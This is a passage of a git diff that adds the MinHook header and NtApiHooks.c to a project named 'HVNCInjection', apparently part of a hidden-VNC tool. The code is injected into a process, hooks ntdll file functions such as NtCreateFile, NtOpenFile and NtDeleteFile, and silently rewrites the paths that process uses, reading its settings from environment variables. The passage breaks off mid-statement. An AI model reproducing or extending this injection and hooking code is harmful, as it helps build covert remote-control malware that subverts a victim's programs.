(INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once + +#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__) +#error MinHook supports only x86 and x64 systems. +#endif + +#include + + // MinHook Error Codes. +typedef enum MH_STATUS +{ + // Unknown error. Should not be returned. + MH_UNKNOWN = -1, + + // Successful. + MH_OK = 0, + + // MinHook is already initialized. + MH_ERROR_ALREADY_INITIALIZED, + + // MinHook is not initialized yet, or already uninitialized. + MH_ERROR_NOT_INITIALIZED, + + // The hook for the specified target function is already created. + MH_ERROR_ALREADY_CREATED, + + // The hook for the specified target function is not created yet. + MH_ERROR_NOT_CREATED, + + // The hook for the specified target function is already enabled. + MH_ERROR_ENABLED, + + // The hook for the specified target function is not enabled yet, or already + // disabled. + MH_ERROR_DISABLED, + + // The specified pointer is invalid. It points the address of non-allocated + // and/or non-executable region. + MH_ERROR_NOT_EXECUTABLE, + + // The specified target function cannot be hooked. + MH_ERROR_UNSUPPORTED_FUNCTION, + + // Failed to allocate memory. + MH_ERROR_MEMORY_ALLOC, + + // Failed to change the memory protection. + MH_ERROR_MEMORY_PROTECT, + + // The specified module is not loaded. + MH_ERROR_MODULE_NOT_FOUND, + + // The specified function is not found. + MH_ERROR_FUNCTION_NOT_FOUND +} +MH_STATUS; + +// Can be passed as a parameter to MH_EnableHook, MH_DisableHook, +// MH_QueueEnableHook or MH_QueueDisableHook. +#define MH_ALL_HOOKS NULL + +#ifdef __cplusplus +extern "C" { +#endif + + // Initialize the MinHook library. You must call this function EXACTLY ONCE + // at the beginning of your program. + MH_STATUS WINAPI MH_Initialize(VOID); + + // Uninitialize the MinHook library. You must call this function EXACTLY + // ONCE at the end of your program. + MH_STATUS WINAPI MH_Uninitialize(VOID); + + // Creates a Hook for the specified target function, in disabled state. + // Parameters: + // pTarget [in] A pointer to the target function, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal); + + // Creates a Hook for the specified API function, in disabled state. + // Parameters: + // pszModule [in] A pointer to the loaded module name which contains the + // target function. + // pszTarget [in] A pointer to the target function name, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHookApi( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal); + + // Creates a Hook for the specified API function, in disabled state. + // Parameters: + // pszModule [in] A pointer to the loaded module name which contains the + // target function. + // pszTarget [in] A pointer to the target function name, which will be + // overridden by the detour function. + // pDetour [in] A pointer to the detour function, which will override + // the target function. + // ppOriginal [out] A pointer to the trampoline function, which will be + // used to call the original target function. + // This parameter can be NULL. + // ppTarget [out] A pointer to the target function, which will be used + // with other functions. + // This parameter can be NULL. + MH_STATUS WINAPI MH_CreateHookApiEx( + LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget); + + // Removes an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget); + + // Enables an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // enabled in one go. + MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget); + + // Disables an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // disabled in one go. + MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget); + + // Queues to enable an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // queued to be enabled. + MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget); + + // Queues to disable an already created hook. + // Parameters: + // pTarget [in] A pointer to the target function. + // If this parameter is MH_ALL_HOOKS, all created hooks are + // queued to be disabled. + MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget); + + // Applies all queued changes in one go. + MH_STATUS WINAPI MH_ApplyQueued(VOID); + + // Translates the MH_STATUS to its name as a string. + const char* WINAPI MH_StatusToString(MH_STATUS status); + +#ifdef __cplusplus +} +#endif diff --git a/HVNCInjection/src/NtApiHooks.c b/HVNCInjection/src/NtApiHooks.c new file mode 100644 index 0000000..c2ae662 --- /dev/null +++ b/HVNCInjection/src/NtApiHooks.c @@ -0,0 +1,868 @@ +//===============================================================================================// +// NT API Hooking Implementation +//===============================================================================================// +#ifdef __cplusplus +extern "C" { +#endif + +#include "NtApiHooks.h" +#include "NtApiHooksConfig.h" +#include "MinHook.h" +#include +#include + +#pragma comment(lib, "libMinHook.x64.lib") +#pragma comment(lib, "ntdll.lib") + + // Global search and replacement strings (filled from parameter) + static WCHAR g_SearchString[512] = { 0 }; + static WCHAR g_ReplacementString[512] = { 0 }; + static BOOL g_HooksInitialized = FALSE; + static HANDLE g_LogFile = INVALID_HANDLE_VALUE; + + // Helper function to log debug info + void LogDebug(const WCHAR* message) { +#if ENABLE_DEBUG_LOGGING + if (g_LogFile != INVALID_HANDLE_VALUE) { + DWORD written; + DWORD messageLen = (DWORD)wcslen(message) * sizeof(WCHAR); + WriteFile(g_LogFile, message, messageLen, &written, NULL); + + const WCHAR newline[] = L"\r\n"; + WriteFile(g_LogFile, newline, sizeof(newline) - sizeof(WCHAR), &written, NULL); + FlushFileBuffers(g_LogFile); + } +#endif + } + + void LogDebugA(const char* message) { +#if ENABLE_DEBUG_LOGGING + if (g_LogFile != INVALID_HANDLE_VALUE) { + DWORD written; + DWORD messageLen = (DWORD)strlen(message); + WriteFile(g_LogFile, message, messageLen, &written, NULL); + + const char newline[] = "\r\n"; + WriteFile(g_LogFile, newline, sizeof(newline) - 1, &written, NULL); + FlushFileBuffers(g_LogFile); + } +#endif + } + + // Helper function for case-insensitive wide string comparison + int wcsnicmp_custom(const WCHAR* s1, const WCHAR* s2, SIZE_T count) { + for (SIZE_T i = 0; i < count; i++) { + WCHAR c1 = s1[i]; + WCHAR c2 = s2[i]; + + // Convert to uppercase for comparison + if (c1 >= L'a' && c1 <= L'z') c1 = c1 - L'a' + L'A'; + if (c2 >= L'a' && c2 <= L'z') c2 = c2 - L'a' + L'A'; + + // Also handle backslash vs forward slash + if (c1 == L'/') c1 = L'\\'; + if (c2 == L'/') c2 = L'\\'; + + if (c1 != c2) return (c1 < c2) ? -1 : 1; + } + return 0; + } + + // Helper function to normalize NT paths - skip \??\ prefix if present + const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) { + if (!path || !adjustedLength) return path; + + SIZE_T length = *adjustedLength; + + // Check for \??\ prefix (NT object namespace for DOS devices) + if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') { + *adjustedLength = length - 4; + return path + 4; + } + + // Check for \Device\ or \DEVICE\ prefix + if (length >= 8 && + (wcsnicmp_custom(path, L"\\DEVICE\\", 8) == 0 || wcsnicmp_custom(path, L"\\Device\\", 8) == 0)) { + // Don't adjust - these are device paths, not file paths + return path; + } + + return path; + } + + // NT API typedefs + typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + } UNICODE_STRING, * PUNICODE_STRING; + + typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; + } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + + typedef struct _IO_STATUS_BLOCK { + union { + LONG Status; + PVOID Pointer; + }; + ULONG_PTR Information; + } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + + typedef enum _FILE_INFORMATION_CLASS { + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation = 10, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileIsRemoteDeviceInformation, + FileUnusedInformation, + FileNumaNodeInformation, + FileStandardLinkInformation, + FileRemoteProtocolInformation, + FileRenameInformationBypassAccessCheck, + FileLinkInformationBypassAccessCheck, + FileVolumeNameInformation, + FileIdInformation, + FileIdExtdDirectoryInformation, + FileReplaceCompletionInformation, + FileHardLinkFullIdInformation, + FileIdExtdBothDirectoryInformation, + FileRenameInformationEx = 65, + FileRenameInformationExBypassAccessCheck, + FileMaximumInformation + } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; + + // NT API function pointers + typedef LONG NTSTATUS; + + typedef NTSTATUS(NTAPI* pNtCreateFile)( + PHANDLE FileHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + PLARGE_INTEGER AllocationSize, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions, + PVOID EaBuffer, + ULONG EaLength + ); + + typedef NTSTATUS(NTAPI* pNtOpenFile)( + PHANDLE FileHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG ShareAccess, + ULONG OpenOptions + ); + + typedef NTSTATUS(NTAPI* pNtDeleteFile)( + POBJECT_ATTRIBUTES ObjectAttributes + ); + + typedef NTSTATUS(NTAPI* pNtSetInformationFile)( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ); + + typedef NTSTATUS(NTAPI* pNtQueryAttributesFile)( + POBJECT_ATTRIBUTES ObjectAttributes, + PVOID FileInformation + ); + + typedef NTSTATUS(NTAPI* pNtQueryFullAttributesFile)( + POBJECT_ATTRIBUTES ObjectAttributes, + PVOID FileInformation + ); + + typedef NTSTATUS(NTAPI* pNtQueryDirectoryFile)( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass, + BOOLEAN ReturnSingleEntry, + PUNICODE_STRING FileName, + BOOLEAN RestartScan + ); + + typedef NTSTATUS(NTAPI* pNtQueryDirectoryFileEx)( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass, + ULONG QueryFlags, + PUNICODE_STRING FileName + ); + + // Original function pointers + pNtCreateFile OriginalNtCreateFile = NULL; + pNtOpenFile OriginalNtOpenFile = NULL; + pNtDeleteFile OriginalNtDeleteFile = NULL; + pNtSetInformationFile OriginalNtSetInformationFile = NULL; + pNtQueryAttributesFile OriginalNtQueryAttributesFile = NULL; + pNtQueryFullAttributesFile OriginalNtQueryFullAttributesFile = NULL; + pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL; + pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL; + + // Helper function to check if path needs redirection + BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) { + if (!path || length == 0) return FALSE; + + SIZE_T searchLen = wcslen(g_SearchString); + if (searchLen == 0 || length < searchLen) return FALSE; + + // Normalize the path (strip \??\ prefix if present) + SIZE_T normalizedLength = length; + const WCHAR* normalizedPath = NormalizePath(path, &normalizedLength); + + if (g_LogFile != INVALID_HANDLE_VALUE) { + WCHAR tempPath[512] = { 0 }; + SIZE_T copyLen = normalizedLength < 511 ? normalizedLength : 511; + wcsncpy_s(tempPath, 512, normalizedPath, copyLen); + LogDebug(L"[NeedsRedirection] Checking normalized path: "); + LogDebug(tempPath); + LogDebug(L"[NeedsRedirection] Against search string: "); + LogDebug(g_SearchString); + } + + if (normalizedLength < searchLen) return FALSE; + + // Search for the search string in the normalized path (case-insensitive) + for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) { + if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebug(L"[NeedsRedirection] MATCH FOUND at position "); + WCHAR posStr[32]; + wsprintfW(posStr, L"%zu", i); + LogDebug(posStr); + } + return TRUE; + } + } + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebug(L"[NeedsRedirection] NO MATCH"); + } + return FALSE; + } + + // Helper function to replace search string with the replacement string + WCHAR* ReplacePath(const WCHAR* originalPath, SIZE_T originalLength, SIZE_T* newLength) { + if (!originalPath || originalLength == 0 || !newLength) return NULL; + + SIZE_T searchLen = wcslen(g_SearchString); + SIZE_T replaceLen = wcslen(g_ReplacementString); + + if (searchLen == 0 || originalLength < searchLen) return NULL; + + // Normalize the path + SIZE_T normalizedLength = originalLength; + const WCHAR* normalizedPath = NormalizePath(originalPath, &normalizedLength); + SIZE_T prefixLength = originalLength - normalizedLength; // Length of \??\ or other prefix + + if (normalizedLength < searchLen) return NULL; + + // Count occurrences (case-insensitive) in normalized portion + SIZE_T occurrences = 0; + for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) { + if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) { + occurrences++; + i += searchLen - 1; // Skip past this occurrence + } + } + + if (occurrences == 0) return NULL; + + // Calculate new length (prefix + modified path) + SIZE_T calcNewLength = prefixLength + normalizedLength + (occurrences * (replaceLen - searchLen)); + WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR)); + if (!newPath) return NULL; + + // Copy prefix (\??\ or other) if present + SIZE_T destIdx = 0; + for (SIZE_T i = 0; i < prefixLength; i++) { + newPath[destIdx++] = originalPath[i]; + } + + // Perform replacement in normalized portion (case-insensitive) + SIZE_T srcIdx = 0; + + while (srcIdx < normalizedLength) { + if (srcIdx <= normalizedLength - searchLen && + wcsnicmp_custom(&normalizedPath[srcIdx], g_SearchString, searchLen) == 0) { + // Copy replacement string + for (SIZE_T j = 0; j < replaceLen; j++) { + newPath[destIdx++] = g_ReplacementString[j]; + } + srcIdx += searchLen; + } + else { + newPath[destIdx++] = normalizedPath[srcIdx++]; + } + } + + *newLength = destIdx; + return newPath; + } + + // Hook implementations + NTSTATUS NTAPI HookedNtCreateFile( + PHANDLE FileHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + PLARGE_INTEGER AllocationSize, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions, + PVOID EaBuffer, + ULONG EaLength + ) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + // Only attempt redirection if hooks are properly initialized and we have the original function + if (g_HooksInitialized && OriginalNtCreateFile && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + // Log all paths for debugging + if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0) { + WCHAR tempPath[512] = { 0 }; + SIZE_T copyLen = pathLength < 511 ? pathLength : 511; + wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen); + LogDebug(L""); + LogDebug(L"[NtCreateFile] Original Path: "); + LogDebug(tempPath); + } + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + WCHAR tempBuf[512] = { 0 }; + SIZE_T copyLen = newLength < 511 ? newLength : 511; + wcsncpy_s(tempBuf, 512, buffer, copyLen); + LogDebug(L"[NtCreateFile] *** REDIRECTING TO: "); + LogDebug(tempBuf); + + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + else { + LogDebug(L"[NtCreateFile] ReplacePath returned NULL"); + } + } + } + + NTSTATUS result = OriginalNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, + AllocationSize, FileAttributes, ShareAccess, CreateDisposition, + CreateOptions, EaBuffer, EaLength); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtOpenFile( + PHANDLE FileHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG ShareAccess, + ULONG OpenOptions + ) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + // Log all paths for debugging + if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0 && g_HooksInitialized) { + WCHAR tempPath[512] = { 0 }; + SIZE_T copyLen = pathLength < 511 ? pathLength : 511; + wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen); + LogDebug(L""); + LogDebug(L"[NtOpenFile] Original Path: "); + LogDebug(tempPath); + } + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + WCHAR tempBuf[512] = { 0 }; + SIZE_T copyLen = newLength < 511 ? newLength : 511; + wcsncpy_s(tempBuf, 512, buffer, copyLen); + LogDebug(L"[NtOpenFile] *** REDIRECTING TO: "); + LogDebug(tempBuf); + + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + else { + LogDebug(L"[NtOpenFile] ReplacePath returned NULL"); + } + } + } + + NTSTATUS result = OriginalNtOpenFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtDeleteFile(POBJECT_ATTRIBUTES ObjectAttributes) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + } + } + + NTSTATUS result = OriginalNtDeleteFile(ObjectAttributes); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtSetInformationFile( + HANDLE FileHandle, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass + ) { + typedef struct { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; + } FILE_RENAME_INFO; + + if (FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) { + FILE_RENAME_INFO* renameInfo = (FILE_RENAME_INFO*)FileInformation; + if (renameInfo->FileNameLength > 0) { + SIZE_T pathLength = renameInfo->FileNameLength / sizeof(WCHAR); + + if (NeedsRedirection(renameInfo->FileName, pathLength)) { + SIZE_T newLength = 0; + WCHAR* newPath = ReplacePath(renameInfo->FileName, pathLength, &newLength); + + if (newPath) { + ULONG newInfoSize = sizeof(FILE_RENAME_INFO) - sizeof(WCHAR) + (newLength * sizeof(WCHAR)); + FILE_RENAME_INFO* newRenameInfo = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize); + + if (newRenameInfo) { + newRenameInfo->ReplaceIfExists = renameInfo->ReplaceIfExists; + newRenameInfo->RootDirectory = renameInfo->RootDirectory; + newRenameInfo->FileNameLength = (ULONG)(newLength * sizeof(WCHAR)); + memcpy(newRenameInfo->FileName, newPath, newRenameInfo->FileNameLength); + + NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass); + + HeapFree(GetProcessHeap(), 0, newRenameInfo); + HeapFree(GetProcessHeap(), 0, newPath); + return result; + } + HeapFree(GetProcessHeap(), 0, newPath); + } + } + } + } + + return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass); + } + + NTSTATUS NTAPI HookedNtQueryAttributesFile( + POBJECT_ATTRIBUTES ObjectAttributes, + PVOID FileInformation + ) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + } + } + + NTSTATUS result = OriginalNtQueryAttributesFile(ObjectAttributes, FileInformation); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtQueryFullAttributesFile( + POBJECT_ATTRIBUTES ObjectAttributes, + PVOID FileInformation + ) { + PUNICODE_STRING originalString = NULL; + UNICODE_STRING newString = { 0 }; + WCHAR* buffer = NULL; + + if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) { + SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR); + + if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) { + SIZE_T newLength = 0; + buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength); + + if (buffer) { + originalString = ObjectAttributes->ObjectName; + newString.Buffer = buffer; + newString.Length = (USHORT)(newLength * sizeof(WCHAR)); + newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR)); + ObjectAttributes->ObjectName = &newString; + } + } + } + + NTSTATUS result = OriginalNtQueryFullAttributesFile(ObjectAttributes, FileInformation); + + if (originalString) { + ObjectAttributes->ObjectName = originalString; + if (buffer) HeapFree(GetProcessHeap(), 0, buffer); + } + + return result; + } + + NTSTATUS NTAPI HookedNtQueryDirectoryFile( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass, + BOOLEAN ReturnSingleEntry, + PUNICODE_STRING FileName, + BOOLEAN RestartScan + ) { + return OriginalNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, + FileInformation, Length, FileInformationClass, + ReturnSingleEntry, FileName, RestartScan); + } + + NTSTATUS NTAPI HookedNtQueryDirectoryFileEx( + HANDLE FileHandle, + HANDLE Event, + PVOID ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + FILE_INFORMATION_CLASS FileInformationClass, + ULONG QueryFlags, + PUNICODE_STRING FileName + ) { + return OriginalNtQueryDirectoryFileEx(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, + FileInformation, Length, FileInformationClass, + QueryFlags, FileName); + } + + // Install all hooks + void InstallNtApiHooks(LPVOID lpParameter) { + // Use a global try-catch to prevent any crashes + __try { +#if ENABLE_DEBUG_LOGGING + // Enable logging for debugging + WCHAR logPath[512]; + __try { + ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 512); + g_LogFile = CreateFileW(logPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + } + __except (EXCEPTION_EXECUTE_HANDLER) { + g_LogFile = INVALID_HANDLE_VALUE; + } + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("=== DLL Injection Started ==="); + } +#else + g_LogFile = INVALID_HANDLE_VALUE; +#endif + + // Initialize to empty strings to prevent crashes + g_SearchString[0] = L'\0'; + g_ReplacementString[0] = L'\0'; + + // Try to get configuration from environment variables + __try { + WCHAR envSearchString[512] = { 0 }; + WCHAR envReplaceString[512] = { 0 }; + + DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 512); + DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 512); + + if (searchLen > 0 && searchLen < 512 && replaceLen > 0 && replaceLen < 512) { + wcsncpy_s(g_SearchString, 512, envSearchString, searchLen); + g_SearchString[searchLen] = L'\0'; + wcsncpy_s(g_ReplacementString, 512, envReplaceString, replaceLen); + g_ReplacementString[replaceLen] = L'\0'; + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebug(L"========================================"); + LogDebug(L"[ENV] Search string from env: "); + LogDebug(g_SearchString); + LogDebug(L"[ENV] Replacement string from env: "); + LogDebug(g_ReplacementString); + + char lenMsg[256]; + sprintf_s(lenMsg, 256, "[ENV] Search string length: %zu characters", wcslen(g_SearchString)); + LogDebugA(lenMsg); + LogDebug(L"========================================"); + } + } + else { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("Environment variables not found, hooks disabled"); + } + } + } + __except (EXCEPTION_EXECUTE_HANDLER) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("Exception reading environment variables"); + } + g_SearchString[0] = L'\0'; + g_ReplacementString[0] = L'\0'; + } + + // Initialize MinHook (this must succeed) + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("Initializing MinHook..."); + } + + if (MH_Initialize() != MH_OK) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("ERROR: MinHook initialization failed!"); + } + return; + } + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("MinHook initialized successfully"); + } + + HMODULE ntdll = GetModuleHandleW(L"ntdll.dll"); + if (!ntdll) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("ERROR: Failed to get ntdll.dll handle!"); + } + MH_Uninitialize(); + return; + } + + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("Got ntdll.dll handle"); + } + + // Hook all the NT APIs + FARPROC pNtCreateFile = GetProcAddress(ntdll, "NtCreateFile"); + if (pNtCreateFile) { + MH_CreateHook(pNtCreateFile, &HookedNtCreateFile, (LPVOID*)&OriginalNtCreateFile); + MH_EnableHook(pNtCreateFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtCreateFile"); + } + + FARPROC pNtOpenFile = GetProcAddress(ntdll, "NtOpenFile"); + if (pNtOpenFile) { + MH_CreateHook(pNtOpenFile, &HookedNtOpenFile, (LPVOID*)&OriginalNtOpenFile); + MH_EnableHook(pNtOpenFile); + if (g_LogFile != INVALID_HANDLE_VALUE) 